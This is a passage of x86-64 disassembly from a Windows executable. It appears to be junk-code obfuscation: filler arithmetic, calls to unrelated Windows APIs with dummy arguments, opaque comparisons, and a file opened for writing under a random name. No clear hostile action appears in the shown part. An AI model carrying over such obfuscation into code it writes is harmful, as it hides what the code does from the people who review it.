mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e84]
shl eax, cl
mov word [0x1401a53a0], ax
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [rsp + 0x1eac]
and eax, ecx
mov word [rsp + 0x1b38], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
add eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x419]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
lea rcx, [rsp + 0x1bc68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x63a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
movsx eax, word [rsp + 0x1ea8]
movsx ecx, word [rsp + 0x1eb0]
and eax, ecx
mov rcx, qword [rsp + 0xcf40]
mov word [rcx], ax
movzx eax, byte [0x1401b440a]
movzx ecx, byte [rsp + 0x416]
add eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
or eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf30]
movzx ecx, al
mov rax, qword [0x1401a53a8]
sar rax, cl
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xcfc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfc8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcfb8], rax
mov eax, dword [rsp + 0x6380]
add eax, 0xf4
mov dword [rsp + 0x6380], eax
lea rdx, [rsp + 0x63a4]
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x63ac], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [0x1401a53b4]
xor eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a8], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd58], rax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x630c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x322], al
movsx eax, word [rsp + 0x1ec0]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a53a0], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [0x1401b440b]
sub eax, ecx
mov rcx, qword [rsp + 0xce28]
mov byte [rcx], al
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
add eax, ecx
mov byte [rsp + 0x416], al
lea rdx, [rsp + 0x63dc]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62e4], eax
jmp 0x140016835
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
movsx ecx, word [rsp + 0x1e94]
mov rdx, qword [rsp + 0xcf40]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x140016ef2
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [rsp + 0x1d90]
shl eax, cl
mov word [rsp + 0x1b38], ax
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcfd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x630c], eax
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x63c0], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6360]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov dword [rsp + 0x20], 0xac
mov r9d, 0x76
lea r8, [fcn.140187940]
lea rdx, [rsp + 0x1cc80]
mov rcx, qword [rsp + 0xcfb0]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ecc], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
lea rcx, [rsp + 0x1bc90]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x1b38]
mov dword [rsp + 0x63e0], eax
cmp dword [rsp + 0x63e0], 0x362
je 0x140016f3f
jmp 0x140016f97
mov rax, qword [rsp + 0xcfb8]
mov rcx, qword [rsp + 0xa7d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x6300]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcfc0]
mov rcx, qword [rsp + 0xcd98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62ec], eax
jmp 0x1400170bd
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb2f8], rax
movzx eax, word [rsp + 0x1ea0]
mov word [rsp + 0x1ed0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [0x1401b440a], al
mov eax, dword [rsp + 0x62d8]
mov dword [rsp + 0x63e4], eax
cmp dword [rsp + 0x63e4], 0
je 0x140016ffd
jmp 0x1400170a8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.SJ_bVj8jA80Ph
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcfd8], rax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xcfe0], rax
movzx eax, word [rsp + 0x1ecc]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xcfa8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
lea rax, [0x1401a53b4]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xcff0], rax
jmp 0x1400170bd
mov rcx, qword [rsp + 0xcff8]
call qword [sym.imp.GDI32.dll_UnrealizeObject]
mov dword [rsp + 0x639c], eax
mov dword [rsp + 0x63e8], 0x60dd
cmp dword [rsp + 0x62ac], 0xa3ca
jae 0x1400174bf
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x62b8], eax
lea rcx, [rsp + 0x1da00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x54ac]
shl eax, cl
mov dword [rsp + 0x63b4], eax
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [0x1401a5039], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xaff8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa7d0], rax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0x62ac]
add eax, 0x53
mov dword [rsp + 0x62ac], eax
movsx eax, word [rsp + 0x1ec8]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ec0], ax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x1db20], 0x114
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [0x1401a5394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcff0], rax
mov eax, dword [0x1401a53b0]
mov ecx, dword [rsp + 0x51dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6374], eax
mov rax, qword [rsp + 0xcfe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
add eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcdc], ax
movsx eax, word [rsp + 0x1e84]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401b440c], ax
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x62f0], eax
movzx eax, byte [rsp + 0x418]
movzx ecx, byte [rsp + 0x417]
shl eax, cl
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x63d0], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x51b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0x63a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x417]
and eax, ecx
mov byte [rsp + 0x418], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a53a0], ax
lea rcx, [rsp + 0x1db20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0xcf10]
mov rcx, qword [rsp + 0xcf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xaff8]
mov rcx, qword [rsp + 0xcf08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf30], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
sub eax, ecx
mov byte [rsp + 0x322], al
mov eax, dword [rsp + 0x63a8]
mov ecx, dword [0x1401a5394]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6374]
shl eax, cl
mov rcx, qword [rsp + 0xce78]
mov dword [rcx], eax
jmp 0x1400170c8
movsx eax, byte [rsp + 0x2cd]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaf28]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14001761b
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [rsp + 0xcdc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd008], rax
movzx eax, byte [rsp + 0x418]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a503a], al
movsx eax, word [rsp + 0x1e84]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [rsp + 0x1eac]
and eax, ecx
mov word [rsp + 0x1534], ax
movsx eax, word [rsp + 0x1ea0]
movsx ecx, word [0x1401a53a0]
add eax, ecx
mov word [rsp + 0x1eb0], ax
mov dword [rsp + 0x63ec], 0x6543
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov dword [rsp + 0x63f0], eax
mov dword [rsp + 0x63f4], 0xab6f
mov dword [rsp + 0x63f8], 0xf7f8
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf28], rax
jmp 0x140017639
call fcn.140187a00
mov eax, dword [rsp + 0x63a8]
mov ecx, dword [rsp + 0x63c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a0], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
xor eax, ecx
mov word [rsp + 0x1d90], ax
xor r9d, r9d
lea r8, [rsp + 0xcf80]
mov rdx, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b8], eax
movzx eax, byte [rsp + 0x322]
movzx ecx, byte [rsp + 0x416]
or eax, ecx
mov byte [rsp + 0x418], al
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf40]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf10]
movzx ecx, al
mov rax, qword [rsp + 0xcf30]
shl rax, cl
mov qword [rsp + 0xcfb8], rax
mov eax, dword [rsp + 0x6384]
add eax, 0x8f
mov dword [rsp + 0x6384], eax
mov rax, qword [rsp + 0xcfb8]
mov rcx, qword [rsp + 0xcf08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa7d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b38], ax
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xcff0]
mov rcx, qword [rsp + 0xcd30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63a8], eax
cmp dword [rsp + 0x6384], 0xdbfc
jne 0x140017639
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xce78]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1ec4]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x418]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x63fc], eax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [0x1401b440c]
sar eax, cl
mov word [rsp + 0x1ea0], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x418]
xor eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1eac]
or eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401a5394]
shl eax, cl
mov rcx, qword [rsp + 0xcfc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [0x1401a53b4]
sub eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
sub eax, ecx
mov byte [rsp + 0x418], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1eb4], ax
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0xcfe0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
lea rdx, [rsp + 0x63dc]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62e4], eax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x63f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov eax, dword [rsp + 0x6360]
mov ecx, dword [rsp + 0x63a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce70]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
sar eax, cl
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
shl eax, cl
mov word [0x1401b440c], ax
movzx ecx, word [rsp + 0x1e90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ebc], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [0x1401a53b4]
xor eax, ecx
mov word [rsp + 0xcdc], ax
mov eax, dword [rsp + 0x628c]
sub eax, 0x20
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa7d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf30], rax
mov rcx, qword [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
cmp dword [rsp + 0x628c], 0x37f9
ja 0x1400177b2
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
movzx eax, byte [rsp + 0x415]
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0xcff0]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xd010], rax
movabs rax, 0x7ca20069af6cd4
cmp qword [rsp + 0xd010], rax
je 0x140017b57
jmp 0x140017b7b
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
jmp 0x140186d13
movzx eax, word [rsp + 0x1ecc]
mov dword [rsp + 0x6400], eax
cmp dword [rsp + 0x6400], 0
je 0x140017b99
jmp 0x140186cc9
movzx eax, byte [rsp + 0x413]
mov byte [rsp + 0x6404], al
cmp byte [rsp + 0x6404], 0xb0
je 0x140017c71
cmp byte [rsp + 0x6404], 0xb2
je 0x140017bc5
jmp 0x140017d50
movsx eax, word [0x1401b440c]
movsx ecx, word [rsp + 0x1ed0]
add eax, ecx
mov word [0x1401a53a0], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ec0], ax
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_GetBkColor]
mov dword [rsp + 0x63a8], eax
jmp 0x140017d50
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xd018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd018]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xd020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd020]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x51dc], eax
movzx eax, byte [rsp + 0x416]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x415], al
lea rdx, [rsp + 0xcd48]
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.GDI32.dll_GetViewportOrgEx]
mov dword [rsp + 0x637c], eax
mov rax, qword [rsp + 0xcfc0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xcfe8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x6270]
call fcn.1401878f0
lea rax, [rsp + 0xcdc]
mov qword [0x1401b4400], rax
lea rax, [rsp + 0x1ea8]
mov qword [rsp + 0xd030], rax
movzx eax, byte [0x1401a5038]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x1841
mov r9d, 0x3a23
mov r8d, 0x2ec0
mov edx, 0x3ce5
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [0x1401a53a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [rsp + 0x54ac]
mov dword [rsp + 0x6408], eax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51dc], eax
cmp dword [rsp + 0x62f4], 0x4775
jbe 0x140018023
movzx eax, byte [rsp + 0x416]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ff]
add eax, ecx
mov byte [rsp + 0x2cd], al
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
